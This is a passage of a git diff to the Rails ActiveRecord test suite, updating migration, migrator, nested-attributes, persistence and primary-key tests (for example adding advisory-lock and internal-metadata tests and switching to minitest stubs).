3, ActiveRecord::Migrator.current_version - assert_equal 3, ActiveRecord::Migrator.last_version assert_equal false, ActiveRecord::Migrator.needs_migration? ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid") assert_equal 0, ActiveRecord::Migrator.current_version - assert_equal 3, ActiveRecord::Migrator.last_version assert_equal true, ActiveRecord::Migrator.needs_migration? - ActiveRecord::SchemaMigration.create!(:version => ActiveRecord::Migrator.last_version) + ActiveRecord::SchemaMigration.create!(version: 3) assert_equal true, ActiveRecord::Migrator.needs_migration? ensure ActiveRecord::Migrator.migrations_paths = old_path @@ -115,7 +118,7 @@ class MigrationTest < ActiveRecord::TestCase end def test_migration_version - ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947) + assert_nothing_raised { ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947) } end def test_create_table_with_force_true_does_not_drop_nonexisting_table @@ -132,17 +135,13 @@ class MigrationTest < ActiveRecord::TestCase Person.connection.drop_table :testings2, if_exists: true end - def connection - ActiveRecord::Base.connection - end - def test_migration_instance_has_connection - migration = Class.new(ActiveRecord::Migration).new - assert_equal connection, migration.connection + migration = Class.new(ActiveRecord::Migration::Current).new + assert_equal ActiveRecord::Base.connection, migration.connection end def test_method_missing_delegates_to_connection - migration = Class.new(ActiveRecord::Migration) { + migration = Class.new(ActiveRecord::Migration::Current) { def connection Class.new { def create_table; "hi mom!"; end @@ -197,8 +196,6 @@ class MigrationTest < ActiveRecord::TestCase # of 0, they take on the compile-time limit for precision and scale, # so the following should succeed unless you have used really wacky # compilation options - # - SQLite2 has the default behavior of preserving all data sent in, - # so this happens there too assert_kind_of BigDecimal, b.value_of_e assert_equal BigDecimal("2.7182818284590452353602875"), b.value_of_e elsif current_adapter?(:SQLite3Adapter) @@ -231,7 +228,7 @@ class MigrationTest < ActiveRecord::TestCase assert_raise(ActiveRecord::StatementInvalid) { Reminder.first } end - class MockMigration < ActiveRecord::Migration + class MockMigration < ActiveRecord::Migration::Current attr_reader :went_up, :went_down def initialize @went_up = false @@ -273,7 +270,7 @@ class MigrationTest < ActiveRecord::TestCase def test_migrator_one_up_with_exception_and_rollback assert_no_column Person, :last_name - migration = Class.new(ActiveRecord::Migration) { + migration = Class.new(ActiveRecord::Migration::Current) { def version; 100 end def migrate(x) add_column "people", "last_name", :string @@ -294,7 +291,7 @@ class MigrationTest < ActiveRecord::TestCase def test_migrator_one_up_with_exception_and_rollback_using_run assert_no_column Person, :last_name - migration = Class.new(ActiveRecord::Migration) { + migration = Class.new(ActiveRecord::Migration::Current) { def version; 100 end def migrate(x) add_column "people", "last_name", :string @@ -306,7 +303,7 @@ class MigrationTest < ActiveRecord::TestCase e = assert_raise(StandardError) { migrator.run } - assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message + assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message assert_no_column Person, :last_name, "On error, the Migrator should revert schema changes but it did not." @@ -315,7 +312,7 @@ class MigrationTest < ActiveRecord::TestCase def test_migration_without_transaction assert_no_column Person, :last_name - migration = Class.new(ActiveRecord::Migration) { + migration = Class.new(ActiveRecord::Migration::Current) { self.disable_ddl_transaction! def version; 101 end @@ -359,6 +356,93 @@ class MigrationTest < ActiveRecord::TestCase Reminder.reset_table_name end + def test_internal_metadata_table_name + original_internal_metadata_table_name = ActiveRecord::Base.internal_metadata_table_name + + assert_equal "ar_internal_metadata", ActiveRecord::InternalMetadata.table_name + ActiveRecord::Base.table_name_prefix = "p_" + ActiveRecord::Base.table_name_suffix = "_s" + Reminder.reset_table_name + assert_equal "p_ar_internal_metadata_s", ActiveRecord::InternalMetadata.table_name + ActiveRecord::Base.internal_metadata_table_name = "changed" + Reminder.reset_table_name + assert_equal "p_changed_s", ActiveRecord::InternalMetadata.table_name + ActiveRecord::Base.table_name_prefix = "" + ActiveRecord::Base.table_name_suffix = "" + Reminder.reset_table_name + assert_equal "changed", ActiveRecord::InternalMetadata.table_name + ensure + ActiveRecord::Base.internal_metadata_table_name = original_internal_metadata_table_name + Reminder.reset_table_name + end + + def test_internal_metadata_stores_environment + current_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call + migrations_path = MIGRATIONS_ROOT + "/valid" + old_path = ActiveRecord::Migrator.migrations_paths + ActiveRecord::Migrator.migrations_paths = migrations_path + + ActiveRecord::Migrator.up(migrations_path) + assert_equal current_env, ActiveRecord::InternalMetadata[:environment] + + original_rails_env = ENV["RAILS_ENV"] + original_rack_env = ENV["RACK_ENV"] + ENV["RAILS_ENV"] = ENV["RACK_ENV"] = "foofoo" + new_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call + + refute_equal current_env, new_env + + sleep 1 # mysql by default does not store fractional seconds in the database + ActiveRecord::Migrator.up(migrations_path) + assert_equal new_env, ActiveRecord::InternalMetadata[:environment] + ensure + ActiveRecord::Migrator.migrations_paths = old_path + ENV["RAILS_ENV"] = original_rails_env + ENV["RACK_ENV"] = original_rack_env + end + + + def test_migration_sets_internal_metadata_even_when_fully_migrated + current_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call + migrations_path = MIGRATIONS_ROOT + "/valid" + old_path = ActiveRecord::Migrator.migrations_paths + ActiveRecord::Migrator.migrations_paths = migrations_path + + ActiveRecord::Migrator.up(migrations_path) + assert_equal current_env, ActiveRecord::InternalMetadata[:environment] + + original_rails_env = ENV["RAILS_ENV"] + original_rack_env = ENV["RACK_ENV"] + ENV["RAILS_ENV"] = ENV["RACK_ENV"] = "foofoo" + new_env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call + + refute_equal current_env, new_env + + sleep 1 # mysql by default does not store fractional seconds in the database + + ActiveRecord::Migrator.up(migrations_path) + assert_equal new_env, ActiveRecord::InternalMetadata[:environment] + ensure + ActiveRecord::Migrator.migrations_paths = old_path + ENV["RAILS_ENV"] = original_rails_env + ENV["RACK_ENV"] = original_rack_env + end + + def test_rename_internal_metadata_table + original_internal_metadata_table_name = ActiveRecord::Base.internal_metadata_table_name + + ActiveRecord::Base.internal_metadata_table_name = "active_record_internal_metadatas" + Reminder.reset_table_name + + ActiveRecord::Base.internal_metadata_table_name = original_internal_metadata_table_name + Reminder.reset_table_name + + assert_equal "ar_internal_metadata", ActiveRecord::InternalMetadata.table_name + ensure + ActiveRecord::Base.internal_metadata_table_name = original_internal_metadata_table_name + Reminder.reset_table_name + end + def test_proper_table_name_on_migration reminder_class = new_isolated_reminder_class migration = ActiveRecord::Migration.new @@ -436,13 +520,12 @@ class MigrationTest < ActiveRecord::TestCase data_column = columns.detect { |c| c.name == "data" } assert_nil data_column.default - + ensure Person.connection.drop_table :binary_testings, if_exists: true end unless mysql_enforcing_gtid_consistency? def test_create_table_with_query - Person.connection.drop_table :table_from_query_testings rescue nil Person.connection.create_table(:person, force: true) Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM person" @@ -450,12 +533,11 @@ class MigrationTest < ActiveRecord::TestCase columns = Person.connection.columns(:table_from_query_testings) assert_equal 1, columns.length assert_equal "id", columns.first.name - + ensure Person.connection.drop_table :table_from_query_testings rescue nil end def test_create_table_with_query_from_relation - Person.connection.drop_table :table_from_query_testings rescue nil Person.connection.create_table(:person, force: true) Person.connection.create_table :table_from_query_testings, as: Person.select(:id) @@ -463,7 +545,7 @@ class MigrationTest < ActiveRecord::TestCase columns = Person.connection.columns(:table_from_query_testings) assert_equal 1, columns.length assert_equal "id", columns.first.name - + ensure Person.connection.drop_table :table_from_query_testings rescue nil end end @@ -505,9 +587,8 @@ class MigrationTest < ActiveRecord::TestCase end end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter) - def test_out_of_range_limit_should_raise - Person.connection.drop_table :test_limits rescue nil + if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter) + def test_out_of_range_integer_limit_should_raise e = assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do Person.connection.create_table :test_integer_limits, :force => true do |t| t.column :bigone, :integer, :limit => 10 @@ -515,16 +596,94 @@ class MigrationTest < ActiveRecord::TestCase end assert_match(/No integer type has byte size 10/, e.message) + ensure + Person.connection.drop_table :test_integer_limits, if_exists: true + end + end - unless current_adapter?(:PostgreSQLAdapter) - assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do - Person.connection.create_table :test_text_limits, :force => true do |t| - t.column :bigtext, :text, :limit => 0xfffffffff - end + if current_adapter?(:Mysql2Adapter) + def test_out_of_range_text_limit_should_raise + e = assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do + Person.connection.create_table :test_text_limits, force: true do |t| + t.text :bigtext, limit: 0xfffffffff + end + end + + assert_match(/No text type has byte length #{0xfffffffff}/, e.message) + ensure + Person.connection.drop_table :test_text_limits, if_exists: true + end + end + + if ActiveRecord::Base.connection.supports_advisory_locks? + def test_migrator_generates_valid_lock_id + migration = Class.new(ActiveRecord::Migration::Current).new + migrator = ActiveRecord::Migrator.new(:up, [migration], 100) + + lock_id = migrator.send(:generate_migrator_advisory_lock_id) + + assert ActiveRecord::Base.connection.get_advisory_lock(lock_id), + "the Migrator should have generated a valid lock id, but it didn't" + assert ActiveRecord::Base.connection.release_advisory_lock(lock_id), + "the Migrator should have generated a valid lock id, but it didn't" + end + + def test_generate_migrator_advisory_lock_id + # It is important we are consistent with how we generate this so that + # exclusive locking works across migrator versions + migration = Class.new(ActiveRecord::Migration::Current).new + migrator = ActiveRecord::Migrator.new(:up, [migration], 100) + + lock_id = migrator.send(:generate_migrator_advisory_lock_id) + + current_database = ActiveRecord::Base.connection.current_database + salt = ActiveRecord::Migrator::MIGRATOR_SALT + expected_id = Zlib.crc32(current_database) * salt + + assert lock_id == expected_id, "expected lock id generated by the migrator to be #{expected_id}, but it was #{lock_id} instead" + assert lock_id.bit_length <= 63, "lock id must be a signed integer of max 63 bits magnitude" + end + + def test_migrator_one_up_with_unavailable_lock + assert_no_column Person, :last_name + + migration = Class.new(ActiveRecord::Migration::Current) { + def version; 100 end + def migrate(x) + add_column "people", "last_name", :string + end + }.new + + migrator = ActiveRecord::Migrator.new(:up, [migration], 100) + lock_id = migrator.send(:generate_migrator_advisory_lock_id) + + with_another_process_holding_lock(lock_id) do + assert_raise(ActiveRecord::ConcurrentMigrationError) { migrator.migrate } + end + + assert_no_column Person, :last_name, + "without an advisory lock, the Migrator should not make any changes, but it did." + end + + def test_migrator_one_up_with_unavailable_lock_using_run + assert_no_column Person, :last_name + + migration = Class.new(ActiveRecord::Migration::Current) { + def version; 100 end + def migrate(x) + add_column "people", "last_name", :string end + }.new + + migrator = ActiveRecord::Migrator.new(:up, [migration], 100) + lock_id = migrator.send(:generate_migrator_advisory_lock_id) + + with_another_process_holding_lock(lock_id) do + assert_raise(ActiveRecord::ConcurrentMigrationError) { migrator.run } end - Person.connection.drop_table :test_limits rescue nil + assert_no_column Person, :last_name, + "without an advisory lock, the Migrator should not make any changes, but it did." end end @@ -537,6 +696,30 @@ class MigrationTest < ActiveRecord::TestCase def self.base_class; self; end } end + + def with_another_process_holding_lock(lock_id) + thread_lock = Concurrent::CountDownLatch.new + test_terminated = Concurrent::CountDownLatch.new + + other_process = Thread.new do + begin + conn = ActiveRecord::Base.connection_pool.checkout + conn.get_advisory_lock(lock_id) + thread_lock.count_down + test_terminated.wait # hold the lock open until we tested everything + ensure + conn.release_advisory_lock(lock_id) + ActiveRecord::Base.connection_pool.checkin(conn) + end + end + + thread_lock.wait # wait until the 'other process' has the lock + + yield + + test_terminated.count_down + other_process.join + end end class ReservedWordsMigrationTest < ActiveRecord::TestCase @@ -550,7 +733,7 @@ class ReservedWordsMigrationTest < ActiveRecord::TestCase connection.add_index :values, :value connection.remove_index :values, :column => :value end - + ensure connection.drop_table :values rescue nil end end @@ -562,11 +745,11 @@ class ExplicitlyNamedIndexMigrationTest < ActiveRecord::TestCase t.integer :value end - assert_nothing_raised ArgumentError do + assert_nothing_raised do connection.add_index :values, :value, name: 'a_different_name' connection.remove_index :values, column: :value, name: 'a_different_name' end - + ensure connection.drop_table :values rescue nil end end @@ -928,4 +1111,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase ActiveRecord::Base.logger = old end + def test_unknown_migration_version_should_raise_an_argument_error + assert_raise(ArgumentError) { ActiveRecord::Migration[1.0] } + end end diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb index 2ff6938e7b..86eca53141 100644 --- a/activerecord/test/cases/migrator_test.rb +++ b/activerecord/test/cases/migrator_test.rb @@ -6,7 +6,7 @@ class MigratorTest < ActiveRecord::TestCase # Use this class to sense if migrations have gone # up or down. - class Sensor < ActiveRecord::Migration + class Sensor < ActiveRecord::Migration::Current attr_reader :went_up, :went_down def initialize name = self.class.name, version = nil @@ -313,9 +313,9 @@ class MigratorTest < ActiveRecord::TestCase _, migrator = migrator_class(3) ActiveRecord::Base.connection.drop_table "schema_migrations", if_exists: true - assert_not ActiveRecord::Base.connection.table_exists?('schema_migrations') + ActiveSupport::Deprecation.silence { assert_not ActiveRecord::Base.connection.table_exists?('schema_migrations') } migrator.migrate("valid", 1) - assert ActiveRecord::Base.connection.table_exists?('schema_migrations') + ActiveSupport::Deprecation.silence { assert ActiveRecord::Base.connection.table_exists?('schema_migrations') } end def test_migrator_forward diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb index 6f65bf80eb..486bcc22df 100644 --- a/activerecord/test/cases/modules_test.rb +++ b/activerecord/test/cases/modules_test.rb @@ -63,17 +63,16 @@ class ModulesTest < ActiveRecord::TestCase def test_assign_ids firm = MyApplication::Business::Firm.first - assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do + assert_nothing_raised do firm.client_ids = [MyApplication::Business::Client.first.id] end end - # need to add an eager loading condition to force the eager loading model into - # the old join model, to test that. See http://dev.rubyonrails.org/ticket/9640 + # An eager loading condition to force the eager loading model into the old join model. def test_eager_loading_in_modules clients = [] - assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do + assert_nothing_raised do clients << MyApplication::Business::Client.references(:accounts).merge!(:includes => {:firm => :account}, :where => 'accounts.id IS NOT NULL').find(3) clients << MyApplication::Business::Client.includes(:firm => :account).find(3) end diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb index 39cdcf5403..a4fbf579a1 100644 --- a/activerecord/test/cases/multiple_db_test.rb +++ b/activerecord/test/cases/multiple_db_test.rb @@ -24,6 +24,13 @@ class MultipleDbTest < ActiveRecord::TestCase assert_equal(ActiveRecord::Base.connection, Entrant.connection) end + def test_swapping_the_connection + old_spec_name, Course.connection_specification_name = Course.connection_specification_name, "primary" + assert_equal(Entrant.connection, Course.connection) + ensure + Course.connection_specification_name = old_spec_name + end + def test_find c1 = Course.find(1) assert_equal "Ruby Development", c1.name @@ -89,8 +96,8 @@ class MultipleDbTest < ActiveRecord::TestCase end def test_connection - assert_equal Entrant.arel_engine.connection, Bird.arel_engine.connection - assert_not_equal Entrant.arel_engine.connection, Course.arel_engine.connection + assert_equal Entrant.arel_engine.connection.object_id, Bird.arel_engine.connection.object_id + assert_not_equal Entrant.arel_engine.connection.object_id, Course.arel_engine.connection.object_id end unless in_memory_db? @@ -104,7 +111,7 @@ class MultipleDbTest < ActiveRecord::TestCase def test_associations_should_work_when_model_has_no_connection begin ActiveRecord::Base.remove_connection - assert_nothing_raised ActiveRecord::ConnectionNotEstablished do + assert_nothing_raised do College.first.courses.first end ensure diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb index 6b4addd52f..11fb164d50 100644 --- a/activerecord/test/cases/nested_attributes_test.rb +++ b/activerecord/test/cases/nested_attributes_test.rb @@ -61,6 +61,13 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase assert_equal "No association found for name `honesty'. Has it been defined yet?", exception.message end + def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes + exception = assert_raise ActiveModel::UnknownAttributeError do + Pirate.new(:ship_attributes => { :sail => true }) + end + assert_equal "unknown attribute 'sail' for Ship.", exception.message + end + def test_should_disable_allow_destroy_by_default Pirate.accepts_nested_attributes_for :ship @@ -69,7 +76,7 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase pirate.update(ship_attributes: { '_destroy' => true, :id => ship.id }) - assert_nothing_raised(ActiveRecord::RecordNotFound) { pirate.ship.reload } + assert_nothing_raised { pirate.ship.reload } end def test_a_model_should_respond_to_underscore_destroy_and_return_if_it_is_marked_for_destruction @@ -146,6 +153,19 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase assert man.reload.interests.empty? end + def test_reject_if_is_not_short_circuited_if_allow_destroy_is_false + Pirate.accepts_nested_attributes_for :ship, reject_if: ->(a) { a[:name] == "The Golden Hind" }, allow_destroy: false + + pirate = Pirate.create!(catchphrase: "Stop wastin' me time", ship_attributes: { name: "White Pearl", _destroy: "1" }) + assert_equal "White Pearl", pirate.reload.ship.name + + pirate.update!(ship_attributes: { id: pirate.ship.id, name: "The Golden Hind", _destroy: "1" }) + assert_equal "White Pearl", pirate.reload.ship.name + + pirate.update!(ship_attributes: { id: pirate.ship.id, name: "Black Pearl", _destroy: "1" }) + assert_equal "Black Pearl", pirate.reload.ship.name + end + def test_has_many_association_updating_a_single_record Man.accepts_nested_attributes_for(:interests) man = Man.create(name: 'John') @@ -160,7 +180,7 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase pirate = Pirate.new(:catchphrase => "Stop wastin' me time") pirate.ship_attributes = { :id => "" } - assert_nothing_raised(ActiveRecord::RecordNotFound) { pirate.save! } + assert_nothing_raised { pirate.save! } end def test_first_and_array_index_zero_methods_return_the_same_value_when_nested_attributes_are_set_to_update_existing_record @@ -273,10 +293,11 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase end def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id - @ship.stubs(:id).returns('ABC1X') - @pirate.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' } + @ship.stub(:id, 'ABC1X') do + @pirate.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' } - assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name + assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name + end end def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy @@ -457,10 +478,11 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase end def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id - @pirate.stubs(:id).returns('ABC1X') - @ship.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' } + @pirate.stub(:id, 'ABC1X') do + @ship.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' } - assert_equal 'Arr', @ship.pirate.catchphrase + assert_equal 'Arr', @ship.pirate.catchphrase + end end def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy @@ -489,7 +511,7 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy [nil, '0', 0, 'false', false].each do |not_truth| @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: not_truth }) - assert_nothing_raised(ActiveRecord::RecordNotFound) { @ship.pirate.reload } + assert_nothing_raised { @ship.pirate.reload } end end @@ -497,7 +519,7 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc(&:empty?) @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: '1' }) - assert_nothing_raised(ActiveRecord::RecordNotFound) { @ship.pirate.reload } + assert_nothing_raised { @ship.pirate.reload } ensure Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc(&:empty?) end @@ -514,7 +536,7 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase pirate = @ship.pirate @ship.attributes = { :pirate_attributes => { :id => pirate.id, '_destroy' => true } } - assert_nothing_raised(ActiveRecord::RecordNotFound) { Pirate.find(pirate.id) } + assert_nothing_raised { Pirate.find(pirate.id) } @ship.save assert_raise(ActiveRecord::RecordNotFound) { Pirate.find(pirate.id) } end @@ -567,6 +589,13 @@ module NestedAttributesOnACollectionAssociationTests assert_respond_to @pirate, association_setter end + def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes_for_has_many + exception = assert_raise ActiveModel::UnknownAttributeError do + @pirate.parrots_attributes = [{ peg_leg: true }] + end + assert_equal "unknown attribute 'peg_leg' for Parrot.", exception.message + end + def test_should_save_only_one_association_on_create pirate = Pirate.create!({ :catchphrase => 'Arr', @@ -638,17 +667,19 @@ module NestedAttributesOnACollectionAssociationTests end def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models - @child_1.stubs(:id).returns('ABC1X') - @child_2.stubs(:id).returns('ABC2X') - - @pirate.attributes = { - association_getter => [ - { :id => @child_1.id, :name => 'Grace OMalley' }, - { :id => @child_2.id, :name => 'Privateers Greed' } - ] - } + @child_1.stub(:id, 'ABC1X') do + @child_2.stub(:id, 'ABC2X') do + + @pirate.attributes = { + association_getter => [ + { :id => @child_1.id, :name => 'Grace OMalley' }, + { :id => @child_2.id, :name => 'Privateers Greed' } + ] + } - assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.name, @child_2.name] + assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.name, @child_2.name] + end + end end def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record @@ -658,6 +689,16 @@ module NestedAttributesOnACollectionAssociationTests assert_equal "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message end + def test_should_raise_RecordNotFound_if_an_id_belonging_to_a_different_record_is_given + other_pirate = Pirate.create! catchphrase: 'Ahoy!' + other_child = other_pirate.send(@association_name).create! name: 'Buccaneers Servant' + + exception = assert_raise ActiveRecord::RecordNotFound do + @pirate.attributes = { association_getter => [{ id: other_child.id }] } + end + assert_equal "Couldn't find #{@child_1.class.name} with ID=#{other_child.id} for Pirate with ID=#{@pirate.id}", exception.message + end + def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing @pirate.send(@association_name).destroy_all @pirate.reload.attributes = { @@ -672,7 +713,7 @@ module NestedAttributesOnACollectionAssociationTests end def test_should_not_assign_destroy_key_to_a_record - assert_nothing_raised ActiveRecord::UnknownAttributeError do + assert_nothing_raised do @pirate.send(association_setter, { 'foo' => { '_destroy' => '0' }}) end end @@ -707,8 +748,8 @@ module NestedAttributesOnACollectionAssociationTests end def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed - assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) } - assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, Hash.new) } + assert_nothing_raised { @pirate.send(association_setter, {}) } + assert_nothing_raised { @pirate.send(association_setter, Hash.new) } exception = assert_raise ArgumentError do @pirate.send(association_setter, "foo") @@ -783,7 +824,7 @@ module NestedAttributesOnACollectionAssociationTests def test_can_use_symbols_as_object_identifier @pirate.attributes = { :parrots_attributes => { :foo => { :name => 'Lovely Day' }, :bar => { :name => 'Blown Away' } } } - assert_nothing_raised(NoMethodError) { @pirate.save! } + assert_nothing_raised { @pirate.save! } end def test_numeric_column_changes_from_zero_to_no_empty_string diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb index 2370077eb0..56092aaa0c 100644 --- a/activerecord/test/cases/persistence_test.rb +++ b/activerecord/test/cases/persistence_test.rb @@ -17,7 +17,10 @@ require 'models/minivan' require 'models/owner' require 'models/person' require 'models/pet' +require 'models/ship' require 'models/toy' +require 'models/admin' +require 'models/admin/user' require 'rexml/document' class PersistenceTest < ActiveRecord::TestCase @@ -119,13 +122,22 @@ class PersistenceTest < ActiveRecord::TestCase assert_equal 59, accounts(:signals37, :reload).credit_limit end + def test_increment_updates_counter_in_db_using_offset + a1 = accounts(:signals37) + initial_credit = a1.credit_limit + a2 = Account.find(accounts(:signals37).id) + a1.increment!(:credit_limit) + a2.increment!(:credit_limit) + assert_equal initial_credit + 2, a1.reload.credit_limit + end + def test_destroy_all conditions = "author_name = 'Mary'" topics_by_mary = Topic.all.merge!(:where => conditions, :order => 'id').to_a assert ! topics_by_mary.empty? assert_difference('Topic.count', -topics_by_mary.size) do - destroyed = Topic.destroy_all(conditions).sort_by(&:id) + destroyed = Topic.where(conditions).destroy_all.sort_by(&:id) assert_equal topics_by_mary, destroyed assert destroyed.all?(&:frozen?), "destroyed topics should be frozen" end @@ -151,10 +163,27 @@ class PersistenceTest < ActiveRecord::TestCase assert !company.valid? original_errors = company.errors client = company.becomes(Client) - assert_equal original_errors, client.errors + assert_equal original_errors.keys, client.errors.keys + end + + def test_becomes_errors_base + child_class = Class.new(Admin::User) do + store_accessor :settings, :foo + + def self.name; 'Admin::ChildUser'; end + end + + admin = Admin::User.new + admin.errors.add :token, :invalid + child = admin.becomes(child_class) + + assert_equal [:token], child.errors.keys + assert_nothing_raised do + child.errors.add :foo, :invalid + end end - def test_dupd_becomes_persists_changes_from_the_original + def test_duped_becomes_persists_changes_from_the_original original = topics(:first) copy = original.dup.becomes(Reply) copy.save! @@ -734,9 +763,10 @@ class PersistenceTest < ActiveRecord::TestCase assert !topic.approved? assert_equal "The First Topic", topic.title - assert_raise(ActiveRecord::RecordNotUnique, ActiveRecord::StatementInvalid) do + error = assert_raise(ActiveRecord::RecordNotUnique, ActiveRecord::StatementInvalid) do topic.update_attributes(id: 3, title: "Hm is it possible?") end + assert_not_nil error.cause assert_not_equal "Hm is it possible?", Topic.find(3).title topic.update_attributes(id: 1234) @@ -897,6 +927,33 @@ class PersistenceTest < ActiveRecord::TestCase assert_not post.new_record? end + def test_reload_via_querycache + ActiveRecord::Base.connection.enable_query_cache! + ActiveRecord::Base.connection.clear_query_cache + assert ActiveRecord::Base.connection.query_cache_enabled, 'cache should be on' + parrot = Parrot.create(:name => 'Shane') + + # populate the cache with the SELECT result + found_parrot = Parrot.find(parrot.id) + assert_equal parrot.id, found_parrot.id + + # Manually update the 'name' attribute in the DB directly + assert_equal 1, ActiveRecord::Base.connection.query_cache.length + ActiveRecord::Base.uncached do + found_parrot.name = 'Mary' + found_parrot.save + end + + # Now reload, and verify that it gets the DB version, and not the querycache version + found_parrot.reload + assert_equal 'Mary', found_parrot.name + + found_parrot = Parrot.find(parrot.id) + assert_equal 'Mary', found_parrot.name + ensure + ActiveRecord::Base.connection.disable_query_cache! + end + class SaveTest < ActiveRecord::TestCase self.use_transactional_tests = false @@ -924,7 +981,21 @@ class PersistenceTest < ActiveRecord::TestCase assert_equal instance.created_at, created_at assert_equal instance.updated_at, updated_at ensure - ActiveRecord::Base.connection.drop_table :widgets + ActiveRecord::Base.connection.drop_table widget.table_name + widget.reset_column_information end end + + def test_reset_column_information_resets_children + child = Class.new(Topic) + child.new # force schema to load + + ActiveRecord::Base.connection.add_column(:topics, :foo, :string) + Topic.reset_column_information + + assert_equal "bar", child.new(foo: :bar).foo + ensure + ActiveRecord::Base.connection.remove_column(:topics, :foo) + Topic.reset_column_information + end end diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb index daa3271777..bca50dd008 100644 --- a/activerecord/test/cases/pooled_connections_test.rb +++ b/activerecord/test/cases/pooled_connections_test.rb @@ -44,7 +44,7 @@ class PooledConnectionsTest < ActiveRecord::TestCase conn = ActiveRecord::Base.connection_pool.checkout ActiveRecord::Base.connection_pool.checkin conn @connection_count += 1 - ActiveRecord::Base.connection.tables + ActiveRecord::Base.connection.data_sources rescue ActiveRecord::ConnectionTimeoutError @timed_out += 1 end diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb index 3664a2af70..52eac4a124 100644 --- a/activerecord/test/cases/primary_keys_test.rb +++ b/activerecord/test/cases/primary_keys_test.rb @@ -130,27 +130,25 @@ class PrimaryKeysTest < ActiveRecord::TestCase end def test_supports_primary_key - assert_nothing_raised NoMethodError do + assert_nothing_raised do ActiveRecord::Base.connection.supports_primary_key? end end - def test_primary_key_returns_value_if_it_exists - klass = Class.new(ActiveRecord::Base) do - self.table_name = 'developers' - end + if ActiveRecord::Base.connection.supports_primary_key? + def test_primary_key_returns_value_if_it_exists + klass = Class.new(ActiveRecord::Base) do + self.table_name = 'developers' + end - if ActiveRecord::Base.connection.supports_primary_key? assert_equal 'id', klass.primary_key end - end - def test_primary_key_returns_nil_if_it_does_not_exist - klass = Class.new(ActiveRecord::Base) do - self.table_name = 'developers_projects' - end + def test_primary_key_returns_nil_if_it_does_not_exist + klass = Class.new(ActiveRecord::Base) do + self.table_name = 'developers_projects' + end - if ActiveRecord::Base.connection.supports_primary_key? assert_nil klass.primary_key end end @@ -175,6 +173,20 @@ class PrimaryKeysTest < ActiveRecord::TestCase dashboard = Dashboard.first assert_equal '2', dashboard.id end + + if current_adapter?(:PostgreSQLAdapter) + def test_serial_with_quoted_sequence_name + column = MixedCaseMonkey.columns_hash[MixedCaseMonkey.primary_key] + assert_equal "nextval('\"mixed_case_monkeys_monkeyID_seq\"'::regclass)", column.default_function + assert column.serial? + end + + def test_serial_with_unquoted_sequence_name + column = Topic.columns_hash[Topic.primary_key] + assert_equal "nextval('topics_id_seq'::regclass)", column.default_function + assert column.serial? + end + end end class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase @@ -210,15 +222,16 @@ class PrimaryKeyAnyTypeTest < ActiveRecord::TestCase end teardown do - 